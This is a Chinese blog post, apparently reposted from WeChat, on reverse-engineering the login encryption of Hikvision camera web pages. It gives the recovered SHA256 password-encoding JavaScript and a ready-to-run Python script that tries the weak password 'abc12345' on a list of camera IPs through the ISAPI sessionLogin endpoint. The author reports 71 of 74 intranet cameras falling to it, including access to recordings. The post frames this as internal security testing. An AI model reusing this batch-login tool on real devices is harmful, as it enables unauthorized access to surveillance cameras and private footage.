海康威视登录页面逆向

admin 2025年6月12日11:00:35评论19 views字数 6237阅读20分47秒阅读模式

No.0

起因

起因是给公司部署了一个主机扫描器,然后当然花了一晚上的时间对所有的内网IP段进行了资产扫描,扫出来 74 个海康威视的摄像头,然后查了一下它的历史漏洞,发现一个弱口令,然后把poc里的弱口令都试了一遍之后,发现是 abc12345 ,那接下来当然是看一下这 74 个摄像头是不是都有这个问题,那必然是不能呆呆的一个一个试下来,所以就想着写个脚本跑一遍,但是发现它的密码部分是动态加密的,所以就只能去逆向了,也就写出了这篇文章。

No.1

开整

海康威视登录页面逆向

1. 首先,海康威视的web端只支持 IE 浏览器,但是现在哪还有 IE 啊,好在 Edge 还有一个 IE 模式可以使用

海康威视登录页面逆向

2. 然后就是看一下这个登录的实现

海康威视登录页面逆向

3. 可以看出他是分了两步,首先获取一个 sessionID 以及 challenge/salt/iterations 这三个可能用作加密的参数,第二步验证账号密码的时候,密码就变成了加密值,所以我们需要打断点看一下,是怎么加密的

海康威视登录页面逆向

4. 我们输入验证密码的接口,也就是说这个时候已经加密完成了,我们只需要往前追密码从明文变成密文的那段代码就行了

海康威视登录页面逆向
海康威视登录页面逆向

5. 可以看到这里密码从明文变成了密文,那我们就要看这里的代码了

海康威视登录页面逆向
海康威视登录页面逆向
海康威视登录页面逆向

7. 好的,这里我们发现是 sha256,但是这个不是JS自己的库,所以我们还需要找一下这个 SHA256 的实现代码

海康威视登录页面逆向

8. 现在两个主要的加密代码已经找到了,那么剩下的就是写一个批量的脚本了,首先是把刚才找的的 js 粘贴过来,留着等下给 python代码调用

SQL
文件 encrypt.js

function encodePwd(passwd, t) {        var i = '';        var a = "123123"        if (a) {          i = SHA256(t.username + t.salt + passwd),          i = SHA256(i + t.challenge);          for (var n = 2; t.iterations > n; n++) i = SHA256(i)        } else {          i = SHA256(passwd) + t.challenge;          for (var n = 1; t.iterations > n; n++) i = SHA256(i)        }        return i      }function SHA256(a) {    function b(a, b) {        var c = (a & 65535) + (b & 65535);        return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535    }    function c(a, b) {        return a >>> b | a << 32 - b    }    a = function (a) {        for (var a = a.replace(/rn/g'n'), b = '', c = 0; c < a.length; c++) {            var h = a.charCodeAt(c);            h < 128 ? b += String.fromCharCode(h) : (                h > 127 &&                h < 2048 ? b += String.fromCharCode(h >> 6 | 192) : (                    b += String.fromCharCode(h >> 12 | 224),                        b += String.fromCharCode(h >> 6 & 63 | 128)                ),                    b += String.fromCharCode(h & 63 | 128)            )        }        return b    }(a);    return function (a) {        for (var b = '', c = 0; c < a.length * 4; c++) b += '0123456789abcdef'.charAt(a[c >>        2] >> (3 - c % 4) * 8 + 4 & 15) + '0123456789abcdef'.charAt(a[c >> 2] >> (3 - c % 4) * 8 & 15);        return b      }(    function (a, e) {      var g = [        1116352408,        1899447441,        3049323471,        3921009573,        961987163,        1508970993,        2453635748,        2870763221,        3624381080,        310598401,        607225278,        1426881987,        1925078388,        2162078206,        2614888103,        3248222580,        3835390401,        4022224774,        264347078,        604807628,        770255983,        1249150122,        1555081692,        1996064986,        2554220882,        2821834349,        2952996808,        3210313671,        3336571891,        3584528711,        113926993,        338241895,        666307205,        773529912,        1294757372,        1396182291,        1695183700,        1986661051,        2177026350,        2456956037,        2730485921,        2820302411,        3259730800,        3345764771,        3516065817,        3600352804,        4094571909,        275423344,        430227734,        506948616,        659060556,        883997877,        958139571,        1322822218,        1537002063,        1747873779,        1955562222,        2024104815,        2227730452,        2361852424,        2428436474,        2756734187,        3204031479,        3329325298      ],      h = [        1779033703,        3144134277,        1013904242,        2773480762,        1359893119,        2600822924,        528734635,        1541459225      ],      f = Array(64),      o,      p,      q,      n,      k,      j,      l,      m,      s,      r,      u,      w;      a[e >> 5] |= 128 << 24 - e % 32;      a[(e + 64 >> 9 << 4) + 15] = e;      for (s = 0; s < a.length; s += 16) {        o = h[0];        p = h[1];        q = h[2];        n = h[3];        k = h[4];        j = h[5];        l = h[6];        m = h[7];        for (r = 0; r < 64; r++) f[r] = r < 16 ? a[r + s] : b(          b(            b(c(f[r - 2], 17) ^ c(f[r - 2], 19) ^ f[r - 2] >>> 10, f[r - 7]),            c(f[r - 15], 7) ^ c(f[r - 15], 18) ^ f[r - 15] >>> 3          ),          f[r - 16]        ),        u = b(b(b(b(m, c(k, 6) ^ c(k, 11) ^ c(k, 25)), k & j ^ ~k & l), g[r]), f[r]),        w = b(c(o, 2) ^ c(o, 13) ^ c(o, 22), o & p ^ o & q ^ p & q),        m = l,        l = j,        j = k,        k = b(n, u),        n = q,        q = p,        p = o,        o = b(u, w);        h[0] = b(o, h[0]);        h[1] = b(p, h[1]);        h[2] = b(q, h[2]);        h[3] = b(n, h[3]);        h[4] = b(k, h[4]);        h[5] = b(j, h[5]);        h[6] = b(l, h[6]);        h[7] = b(m, h[7])      }      return h    }(      function (a) {        for (var b = [], c = 0; c < a.length * 8; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << 24 - c % 32;        return b      }(a),      a.length * 8    )  )}

9. 然后就比较简单了,导入之前的摄像头 ip 地址,然后写两个请求就可以了

import requestsimport execjsimport xml.etree.ElementTree as ETfrom alive_progress import alive_barfrom ExcelTools import ExcelToolsdef login(session, ip, session_id,passwd):    url = f"http://{ip}/ISAPI/Security/sessionLogin"    data = f"""<SessionLogin><userName>admin</userName><password>{passwd}</password><sessionID>{session_id}</sessionID></SessionLogin>"""    response = session.post(url, data=data).content    return responsedef get_salt(session, ip):    url = f"http://{ip}/ISAPI/Security/sessionLogin/capabilities?username=admin"    response = session.get(url).content    root = ET.fromstring(response)    namespace = {'space'"http://www.hikvision.com/ver20/XMLSchema"}    result = {        "session_id": root.find('space:sessionID', namespace).text,        "challenge": root.find('space:challenge', namespace).text,        "iterations": root.find('space:iterations', namespace).text,        "salt": root.find('space:salt', namespace).text,        "username"'admin'    }    return resultdef judge_result(request_result):    root = ET.fromstring(request_result)    # 检查是否存在命名空间    namespace = root.tag.split('}')[0] + "}" if '}' in root.tag else None    if namespace:        result = root.find(f'{namespace}statusValue').text    else:        result = root.find("statusValue").text    if result == "200":        return "密码正确"    else:        return "密码错误"def encrypt(js_code, salt_key):    ctx = execjs.compile(js_code)    passwd = "abc12345"    result = ctx.call("encodePwd", passwd, salt_key)    return resultdef main():    ip_list = ExcelTools.get_data("ip.xlsx")    js_code = open("encrypt.js""r", encoding="utf-8").read()    output = []    with alive_bar(len(ip_list), force_tty=Trueas bar:        for ip in ip_list:            bar()            session = requests.session()            session.headers.update({                "User-Agent""Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko",                "Content-Type""application/x-www-form-urlencoded; charset=UTF-8"            })            salt_key = get_salt(session, ip["ip"])            passwd = encrypt(js_code, salt_key)            request_result = login(session, ip["ip"], salt_key["session_id"], passwd)            result = judge_result(request_result)            tmp = {                "ip": ip["ip"],                "登录结果": result            }            output.append(tmp)    ExcelTools.write_data(output, "output.xlsx")if __name__ == '__main__':    main()

10. 最后跑完发现有 71 台摄像头是这个弱口令,只有三台被运维改了密码幸免于难,还有一台可以看到所有的监控录像

海康威视登录页面逆向

No.2

原文始发于微信公众号(隐雾安全):海康威视登录页面逆向

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月12日11:00:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   海康威视登录页面逆向http://cn-sec.com/archives/4157241.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息